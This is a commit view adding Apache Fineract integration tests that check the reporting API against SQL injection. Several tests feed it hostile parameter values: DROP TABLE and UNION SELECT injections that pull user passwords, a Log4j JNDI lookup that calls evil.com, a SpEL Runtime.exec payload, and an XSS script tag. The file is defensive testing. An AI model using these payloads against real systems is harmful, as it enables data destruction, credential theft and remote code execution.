FINERACT-2081: ESAPI.encoder().encodeForSQL is deprecated, so replaced the method with parameterized queries based solution with user input validation

This commit is contained in:
Attila Budai
2025-09-01 13:41:49 +02:00
committed by Adam Saghy
parent 917dd4d117
commit 567e1c9800
7 changed files with 827 additions and 23 deletions
@@ -0,0 +1,515 @@
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.fineract.integrationtests;
import static io.restassured.RestAssured.given;
import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.junit.jupiter.api.Assertions.assertNotEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
import static org.junit.jupiter.api.Assertions.assertThrows;
import static org.junit.jupiter.api.Assertions.assertTrue;
import io.restassured.builder.RequestSpecBuilder;
import io.restassured.builder.ResponseSpecBuilder;
import io.restassured.http.ContentType;
import io.restassured.response.Response;
import io.restassured.specification.RequestSpecification;
import io.restassured.specification.ResponseSpecification;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;
import lombok.extern.slf4j.Slf4j;
import org.apache.fineract.infrastructure.security.service.SqlInjectionPreventerService;
import org.apache.fineract.integrationtests.common.Utils;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.CsvSource;
import org.junit.jupiter.params.provider.ValueSource;
/**
* Comprehensive integration tests for SQL injection prevention in reporting functionality (PS-2667).
*
* Tests the migration from ESAPI to native database escaping and validates that CVE-2025-5878 is fixed. Covers
* ReadReportingServiceImpl security measures through actual API endpoints.
*
* @see ReadReportingServiceImpl
* @see SqlInjectionPreventerService
*/
@Slf4j
public class SqlInjectionReportingServiceIntegrationTest extends BaseLoanIntegrationTest {
private RequestSpecification requestSpec;
private ResponseSpecification responseSpec;
private Long testReportId = null;
private static final String TEST_REPORT_NAME = "SQL_Injection_Test_Report";
private static final String TEST_REPORT_SQL = "SELECT 1 as test_column, 'Test Data' as test_name";
@BeforeEach
public void setup() {
Utils.initializeRESTAssured();
this.requestSpec = new RequestSpecBuilder().setContentType(ContentType.JSON).build();
this.requestSpec.header("Authorization", "Basic " + Utils.loginIntoServerAndGetBase64EncodedAuthenticationKey());
this.requestSpec.header("Fineract-Platform-TenantId", "default");
this.responseSpec = new ResponseSpecBuilder().expectStatusCode(200).build();
// Create test report for the tests
createTestReportIfNotExists();
}
@AfterEach
public void cleanup() {
// Clean up test report after tests
if (testReportId != null) {
try {
deleteTestReport();
} catch (Exception e) {
log.warn("Failed to clean up test report: " + e.getMessage());
}
}
}
private void createTestReportIfNotExists() {
try {
// First try to get the report to see if it exists - use direct RestAssured call to handle 404
Response response = given().spec(requestSpec).when().get("/fineract-provider/api/v1/reports");
if (response.getStatusCode() == 200) {
String existingReports = response.asString();
if (existingReports.contains("\"reportName\":\"" + TEST_REPORT_NAME + "\"")) {
log.info("Test report '{}' already exists", TEST_REPORT_NAME);
// Extract the ID for cleanup
try {
String pattern = "\"id\":(\\d+)[^}]*\"reportName\":\"" + TEST_REPORT_NAME + "\"";
java.util.regex.Pattern p = java.util.regex.Pattern.compile(pattern);
java.util.regex.Matcher m = p.matcher(existingReports);
if (m.find()) {
testReportId = Long.parseLong(m.group(1));
log.info("Found existing test report with ID: {}", testReportId);
}
} catch (Exception ex) {
log.debug("Could not extract existing report ID");
}
return;
}
} else if (response.getStatusCode() == 404) {
log.debug("Reports endpoint returned 404 (no reports exist yet), will create report");
} else {
log.debug("Reports endpoint returned unexpected status: {}, will try to create report", response.getStatusCode());
}
} catch (Exception e) {
log.debug("Report list fetch failed, will try to create report: {}", e.getMessage());
}
// Create the test report
String reportJson = "{" + "\"reportName\": \"" + TEST_REPORT_NAME + "\"," + "\"reportType\": \"Table\","
+ "\"reportCategory\": \"Client\"," + "\"reportSql\": \"" + TEST_REPORT_SQL + "\","
+ "\"description\": \"Test report for SQL injection prevention tests\"," + "\"useReport\": true" + "}";
try {
// Use direct RestAssured call to handle different response codes
Response postResponse = given().spec(requestSpec).contentType(ContentType.JSON).body(reportJson).when()
.post("/fineract-provider/api/v1/reports");
if (postResponse.getStatusCode() == 200 || postResponse.getStatusCode() == 201) {
String response = postResponse.asString();
// Extract report ID from response for cleanup
if (response.contains("resourceId")) {
String idStr = response.replaceAll(".*\"resourceId\":(\\d+).*", "$1");
testReportId = Long.parseLong(idStr);
log.info("Created test report with ID: {}", testReportId);
} else {
throw new RuntimeException("Test report creation failed - no resourceId in response: " + response);
}
} else {
String errorResponse = postResponse.asString();
log.error("Report creation failed - Status: {}, Body: {}, Headers: {}", postResponse.getStatusCode(), errorResponse,
postResponse.getHeaders());
log.error("Sent JSON: {}", reportJson);
throw new RuntimeException(
"Test report creation failed with status " + postResponse.getStatusCode() + ": " + errorResponse);
}
} catch (Exception e) {
// This is a critical failure - tests cannot proceed without the test report
throw new RuntimeException(
"CRITICAL: Could not create test report '" + TEST_REPORT_NAME + "'. Tests cannot proceed. Error: " + e.getMessage(), e);
}
}
private void deleteTestReport() {
if (testReportId != null) {
try {
Utils.performServerDelete(requestSpec, responseSpec, "/fineract-provider/api/v1/reports/" + testReportId, "");
log.info("Deleted test report with ID: {}", testReportId);
} catch (Exception e) {
log.warn("Failed to delete test report: " + e.getMessage());
}
}
}
/**
* UC1: Test legitimate report execution works correctly Validates that the SQL injection prevention doesn't break
* normal functionality
*/
@Test
void uc1_testLegitimateReportExecution() {
log.info("Testing that legitimate reports still work after SQL injection prevention");
Map<String, String> queryParams = new HashMap<>();
queryParams.put("R_officeId", "1");
// Test with the test report we created in setup - this MUST succeed
String response = Utils.performServerGet(requestSpec, responseSpec,
"/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME + "?genericResultSet=false&" + toQueryString(queryParams), null);
assertNotNull(response);
assertNotEquals("", response.trim());
// Debug: Log actual response to understand structure
log.info("Response from report execution: {}", response);
// Verify response is valid JSON structure
assertTrue(response.contains("columnHeaders") || response.contains("data") || response.contains("test_column"),
"Response should contain expected JSON structure, but got: " + response);
}
/**
* UC2: Test parameter injection through query parameters Validates that malicious content in query parameters is
* also properly handled
*/
@Test
void uc2_testParameterInjectionPrevention() {
log.info("Testing parameter injection prevention through query parameters");
Map<String, String> maliciousParams = new HashMap<>();
maliciousParams.put("R_officeId", "1'; DROP TABLE m_office; --");
maliciousParams.put("R_startDate", "2023-01-01' UNION SELECT * FROM m_appuser --");
maliciousParams.put("R_endDate", "2023-12-31'); DELETE FROM stretchy_report; --");
// Test with legitimate report name but malicious parameters
// This should either succeed with empty/safe results or fail with validation error
// but NOT with SQL syntax errors
try {
String response = Utils.performServerGet(requestSpec, responseSpec, "/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME
+ "?genericResultSet=false&" + toQueryString(maliciousParams), null);
// If we get here, the SQL injection was prevented and handled safely
log.info("SQL injection prevented - query executed safely with malicious parameters");
} catch (AssertionError exception) {
// The response should indicate parameter validation error or safe handling
// NOT SQL syntax errors which would indicate successful injection
assertFalse(exception.getMessage().toLowerCase().contains("syntax error"),
"Should not get SQL syntax error, got: " + exception.getMessage());
assertFalse(exception.getMessage().toLowerCase().contains("you have an error in your sql"),
"Should not get SQL error, got: " + exception.getMessage());
// Should be a validation error, not a 404
assertFalse(exception.getMessage().contains("404"), "Should not get 404 - report should exist. Got: " + exception.getMessage());
log.info("Got expected validation error: {}", exception.getMessage());
}
}
/**
* UC3: Test type validation whitelist - only 'report' and 'parameter' types should be allowed This validates the
* whitelist implementation for report types
*/
@ParameterizedTest(name = "Report Type Validation: {0}")
@ValueSource(strings = { "report", "parameter" })
void uc3_testValidReportTypes(String validType) {
log.info("Testing valid report type: {}", validType);
Map<String, String> queryParams = new HashMap<>();
queryParams.put("R_officeId", "1");
// Test that valid report types work through the API
try {
String response = Utils.performServerGet(requestSpec, responseSpec,
"/runreports/TestReport?reportType=" + validType + "&genericResultSet=false&" + toQueryString(queryParams), null);
// Should get a proper response or 404 (report not found), not validation error
} catch (AssertionError e) {
// For valid types, we expect 404 (report not found), not validation errors
assertTrue(e.getMessage().contains("404"));
}
}
/**
* UC4: Test invalid report types that should be rejected by whitelist
*/
@ParameterizedTest(name = "Invalid Report Type: {0}")
@ValueSource(strings = { "table", "view", "procedure", "function", "schema", "database", "admin", "user", "system", "config" })
void uc4_testInvalidReportTypes(String invalidType) {
log.info("Testing invalid report type: {}", invalidType);
Map<String, String> queryParams = new HashMap<>();
queryParams.put("R_officeId", "1");
// These should be rejected and result in 404 (report not found) or validation error
AssertionError exception = assertThrows(AssertionError.class, () -> {
Utils.performServerGet(requestSpec, responseSpec,
"/runreports/TestReport?reportType=" + invalidType + "&genericResultSet=false&" + toQueryString(queryParams), null);
});
// Should get 404 or validation error, not SQL execution error
assertTrue(exception.getMessage().contains("404") || exception.getMessage().contains("validation"));
assertFalse(exception.getMessage().toLowerCase().contains("sql syntax"));
}
/**
* UC5: Test database-specific escaping through API behavior for MySQL/MariaDB
*/
@Test
void uc5_testMySQLEscapingThroughAPI() {
log.info("Testing MySQL/MariaDB escaping behavior through API");
// Test MySQL special characters in parameters
Map<String, String> queryParams = new HashMap<>();
queryParams.put("R_officeId", "1' OR '1'='1");
queryParams.put("R_clientId", "1; DROP TABLE m_client;");
queryParams.put("R_startDate", "2023-01-01\\' OR 1=1 --");
// Use the real test report to ensure SQL injection prevention works with actual queries
try {
String response = Utils.performServerGet(requestSpec, responseSpec,
"/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME + "?genericResultSet=false&" + toQueryString(queryParams),
null);
// If successful, the special characters were safely escaped
assertNotNull(response);
log.info("MySQL/MariaDB special characters safely escaped");
} catch (AssertionError e) {
// Should not get SQL syntax errors - only validation errors
assertFalse(e.getMessage().toLowerCase().contains("syntax error"),
"Should not get SQL syntax error for MySQL escaping test. Got: " + e.getMessage());
assertFalse(e.getMessage().toLowerCase().contains("you have an error in your sql"),
"Should not get SQL error. Got: " + e.getMessage());
log.info("MySQL/MariaDB escaping prevented SQL injection with validation error");
}
}
/**
* UC6: Test database-specific escaping through API for PostgreSQL
*/
@Test
void uc6_testPostgreSQLEscapingThroughAPI() {
log.info("Testing PostgreSQL escaping behavior through API");
// Test PostgreSQL-specific SQL injection patterns
Map<String, String> queryParams = new HashMap<>();
queryParams.put("R_officeId", "1'::text OR '1'='1");
queryParams.put("R_clientId", "1; DROP TABLE m_client CASCADE;");
queryParams.put("R_startDate", "2023-01-01'::date OR TRUE --");
queryParams.put("R_endDate", "$$; DROP TABLE m_client; $$");
// Use the real test report to ensure SQL injection prevention works
try {
String response = Utils.performServerGet(requestSpec, responseSpec,
"/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME + "?genericResultSet=false&" + toQueryString(queryParams),
null);
// If successful, the PostgreSQL special syntax was safely escaped
assertNotNull(response);
log.info("PostgreSQL special characters and syntax safely escaped");
} catch (AssertionError e) {
// Should not get SQL syntax errors - only validation errors
assertFalse(e.getMessage().toLowerCase().contains("syntax error"),
"Should not get SQL syntax error for PostgreSQL escaping test. Got: " + e.getMessage());
assertFalse(e.getMessage().toLowerCase().contains("you have an error in your sql"),
"Should not get SQL error. Got: " + e.getMessage());
assertFalse(e.getMessage().toLowerCase().contains("error") && e.getMessage().toLowerCase().contains("position"),
"Should not get PostgreSQL position error. Got: " + e.getMessage());
log.info("PostgreSQL escaping prevented SQL injection with validation error");
}
}
/**
* UC7: Test concurrent access to ensure thread safety through API
*/
@Test
void uc7_testConcurrentAccess() throws InterruptedException, ExecutionException {
log.info("Testing concurrent access to SQL injection prevention through API");
int threadCount = 5;
int operationsPerThread = 3;
ExecutorService executor = Executors.newFixedThreadPool(threadCount);
List<Future<Boolean>> futures = new java.util.ArrayList<>();
for (int i = 0; i < threadCount; i++) {
final int threadId = i;
Future<Boolean> future = executor.submit(new Callable<Boolean>() {
@Override
public Boolean call() {
try {
for (int j = 0; j < operationsPerThread; j++) {
String input = "test-input-" + threadId + "-" + j;
Map<String, String> queryParams = new HashMap<>();
queryParams.put("R_officeId", "1");
Utils.performServerGet(requestSpec, responseSpec,
"/fineract-provider/api/v1/runreports/" + URLEncoder.encode(input, StandardCharsets.UTF_8)
+ "?genericResultSet=false&" + toQueryString(queryParams),
null);
}
return true;
} catch (AssertionError e) {
// 404 is expected for non-existent reports
return e.getMessage().contains("404");
} catch (Exception e) {
log.error("Error in thread {}: {}", threadId, e.getMessage());
return false;
}
}
});
futures.add(future);
}
executor.shutdown();
assertTrue(executor.awaitTermination(60, TimeUnit.SECONDS), "All threads should complete within 60 seconds");
for (Future<Boolean> future : futures) {
assertTrue(future.get(), "All concurrent operations should succeed or return 404");
}
log.info("Concurrent access test completed successfully with {} threads and {} operations per thread", threadCount,
operationsPerThread);
}
/**
* UC8: Test report parameter injection with complex nested structures
*/
@Test
void uc8_testComplexParameterInjection() {
log.info("Testing complex parameter injection scenarios");
// Test various parameter injection patterns that were historically problematic
Map<String, String> maliciousParams = new HashMap<>();
maliciousParams.put("R_officeId", "1) UNION SELECT username,password FROM m_appuser WHERE id=1--");
maliciousParams.put("R_clientId", "${jndi:ldap://evil.com/a}"); // Log4j style injection
maliciousParams.put("R_startDate", "'; DROP TABLE IF EXISTS test; --");
maliciousParams.put("R_endDate", "#{T(java.lang.Runtime).getRuntime().exec('whoami')}"); // SpEL injection
maliciousParams.put("R_userId", "<script>alert('xss')</script>"); // XSS attempt in parameter
try {
Utils.performServerGet(requestSpec, responseSpec, "/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME
+ "?genericResultSet=false&" + toQueryString(maliciousParams), null);
// If we get here without exception, the response should be safe
log.info("Complex parameter injection prevented - query executed safely");
} catch (AssertionError e) {
// Should get parameter validation error, not SQL injection
assertFalse(e.getMessage().toLowerCase().contains("syntax error"), "Should not get SQL syntax error. Got: " + e.getMessage());
assertFalse(e.getMessage().toLowerCase().contains("you have an error in your sql"),
"Should not get SQL error. Got: " + e.getMessage());
assertFalse(e.getMessage().toLowerCase().contains("table") && e.getMessage().toLowerCase().contains("exist"),
"Should not get table exists error. Got: " + e.getMessage());
}
}
/**
* UC9: Test legitimate reports with various parameter types
*/
@ParameterizedTest(name = "Parameter Type: {0}")
@CsvSource(delimiterString = " | ", value = { "R_officeId | 1 | Numeric parameter", "R_startDate | 2023-01-01 | Date parameter",
"R_endDate | 2023-12-31 | Date parameter", "R_currencyId | USD | String parameter", "R_loanProductId | 1 | Numeric parameter" })
void uc9_testLegitimateParameterTypes(String paramName, String paramValue, String description) {
log.info("Testing legitimate parameter: {} = {} ({})", paramName, paramValue, description);
Map<String, String> queryParams = new HashMap<>();
queryParams.put(paramName, paramValue);
try {
String response = Utils.performServerGet(requestSpec, responseSpec,
"/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME + "?genericResultSet=false&" + toQueryString(queryParams),
null);
// Valid parameters should return data successfully
assertNotNull(response);
// Should not contain SQL error indicators
assertFalse(response.toLowerCase().contains("syntax error"));
assertFalse(response.toLowerCase().contains("sql exception"));
log.debug("Legitimate parameter '{}' = '{}' processed successfully", paramName, paramValue);
} catch (AssertionError e) {
// For legitimate parameters, we should not get errors unless it's a data issue
// But definitely not SQL syntax errors
assertFalse(e.getMessage().toLowerCase().contains("syntax error"),
"Should not get SQL syntax error for legitimate parameter. Got: " + e.getMessage());
assertFalse(e.getMessage().toLowerCase().contains("you have an error in your sql"),
"Should not get SQL error for legitimate parameter. Got: " + e.getMessage());
log.info("Parameter validation for '{}' = '{}': {}", paramName, paramValue, e.getMessage());
}
}
/**
* UC10: Test cross-database compatibility through API
*/
@Test
void uc10_testCrossDatabaseCompatibility() {
log.info("Testing cross-database compatibility for SQL injection prevention through API");
String testInput = "test-input-with-special-chars";
Map<String, String> queryParams = new HashMap<>();
queryParams.put("R_officeId", "1");
try {
Utils.performServerGet(requestSpec, responseSpec, "/fineract-provider/api/v1/runreports/"
+ URLEncoder.encode(testInput, StandardCharsets.UTF_8) + "?genericResultSet=false&" + toQueryString(queryParams), null);
} catch (AssertionError e) {
// Should get 404 (report not found) not database-specific errors
assertTrue(e.getMessage().contains("404"));
assertFalse(e.getMessage().toLowerCase().contains("syntax error"));
assertFalse(e.getMessage().toLowerCase().contains("sql"));
log.info("Cross-database compatibility test passed - got expected 404 response");
}
}
/**
* Helper method to convert parameters map to query string
*/
private String toQueryString(Map<String, String> params) {
StringBuilder sb = new StringBuilder();
for (Map.Entry<String, String> entry : params.entrySet()) {
if (sb.length() > 0) {
sb.append("&");
}
sb.append(entry.getKey()).append("=");
if (entry.getValue() != null) {
sb.append(URLEncoder.encode(entry.getValue(), StandardCharsets.UTF_8));
}
}
return sb.toString();
}
}